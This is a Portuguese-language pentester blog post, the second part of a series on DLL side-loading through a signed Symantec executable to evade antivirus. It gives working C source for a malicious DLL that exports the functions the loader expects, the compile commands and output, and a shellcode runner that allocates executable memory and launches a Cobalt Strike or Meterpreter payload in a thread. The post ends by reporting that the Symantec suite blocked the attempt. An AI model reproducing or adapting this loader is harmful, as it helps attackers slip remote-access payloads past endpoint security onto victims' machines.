Burlando antivirus com DLL Side-Loading por diversão e vantagem — parte 2: KO
Alguns meses atrás, escrevi sobre o ataque de DLL Side-Loading, mostrando um exemplo real envolvendo um binário legítimo e digitalmente assinado da Symantec que é capaz de carregar DLLs arbitrárias. O ataque permite enganar antivirus entre outras soluções de segurança. Leia lá, pois esse post é uma continuação.
Hoje, veremos como criar essa exata DLL que exporte as 4 funções exigidas pelo executável da Symantec (nosso loader), de modo que o mesmo não trave e garantindo a execução do nosso código malicioso em uma thread do seu processo. Se tudo der certo, iremos transpassar todas as camadas de proteção do antivirus e conquistar nosso acesso remoto pela conexão reversa de um beacon do Cobalt-Strike.
Ferramentas
- MS Visual Studio (qualquer versão)
- Bloco de notas (o mais recente, lol)
- Cobalt-Strike (o que você conseguir)
Exportando funções e criando nossa DLL
O compilador do Visual Studio permite o uso da palavra-chave __declspec(dllexport) para facilmente exportar funções de uma DLL. Sabendo os nomes das quatro funções chamadas pelo executável que descobrimos como mostrado no post anterior, criamos a seguinte DLL maliciosa com um estupidamente simples código nomeado aqui como RasTls.c:
#include <windows.h>
#pragma comment(lib, "user32")void __declspec(dllexport) RasEapFreeMemory() { }
void __declspec(dllexport) RasEapGetIdentity() { }
void __declspec(dllexport) RasEapInvokeConfigUI() { }
void __declspec(dllexport) RasEapInvokeInteractiveUI() { }
void __declspec(dllexport) RasEapGetInfo() { MessageBox(0,"Obrigado, Symantec","Injectado!",1);return;}
Note como escolhemos a primeira das funções chamadas para carregar nosso código, mas poderia ser qualquer outra.
Como bate aquela preguiça de abrir o Visual Studio e criar um projeto pra uma tarefa tão trivial, salvamos com o bloco de notas mesmo e compilamos com o cl.exe:
C:\tools\av-bypass\side-loading>cl.exe user32.lib RasTls.c /DLL /LDMicrosoft (R) 32-bit C/C++ Optimizing Compiler Version 15.00.30729.01 for 80x86
Copyright (C) Microsoft Corporation. All rights reserved.RasTls.c
Microsoft (R) Incremental Linker Version 9.00.30729.01
Copyright (C) Microsoft Corporation. All rights reserved./out:RasTls.dll
/dll
/implib:RasTls.lib
user32.lib
RasTls.obj
Creating
Feito. Nossa DLL está pronta pra ser testada. Colocamos ela na mesma pasta do exe da Symantec e o executamos.
Com exportação das funções funcionando corretamente, hora de adaptarmos nossa DLL para receber uma shellcode do meterpreter ou beacon do Cobalt-Strike.
#include <windows.h>
#pragma comment(lib, "user32")DWORD WINAPI DisparaShellcode(LPVOID lpSc)
{
__asm mov eax, [lpSc]
__asm call eax
return 0;
}void __declspec(dllexport) RasEapFreeMemory() {}
void __declspec(dllexport) RasEapGetIdentity() {}
void __declspec(dllexport) RasEapInvokeConfigUI() {}
void __declspec(dllexport) RasEapInvokeInteractiveUI() {}
void __declspec(dllexport) RasEapGetInfo() {LPVOID code = NULL;
int pID;
int dwBytesToRead;unsigned char shellcode[] = "\xe8\xff\..."; //shellcode aquidwBytesToRead = sizeof(shellcode);code = VirtualAlloc(NULL, dwBytesToRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(code, 0, dwBytesToRead);
memcpy(code, shellcode, dwBytesToRead);
WaitForSingleObject(CreateThread(NULL, 0, DisparaShellcode, code, 0, &pID), INFINITE);
VirtualFree(code, dwBytesToRead, MEM_RELEASE);
return;
}
Compilamos e copiamos o loader e a DLL pro um sistema com um antivirus da Symantec, este devidamente atualizado e com todas as suas proteções ativas.
Ei, veja! Esse não é um mero antivirus. É uma solução de Endpoint Security, o que significa que engloba três produtos em um: firewall, antivirus e análise avançada contra ameaças desconhecidas.
Será que nosso ataque de DLL Side-Loading usando um executável da Symantec terá alguma chance?
Clicamos no exe e…
KO.
Symantec é tão eficiente que, ao menos nesse caso, não conseguiu perder de si mesmo.
Se a rotina e estratégias de um pentester te interessa, me siga aqui ou no twitter em @viniciuskmax para acompanhar futuras postagens. E precisar, conte com a MIDRI para avaliar a segurança da sua rede, apps ou sistemas.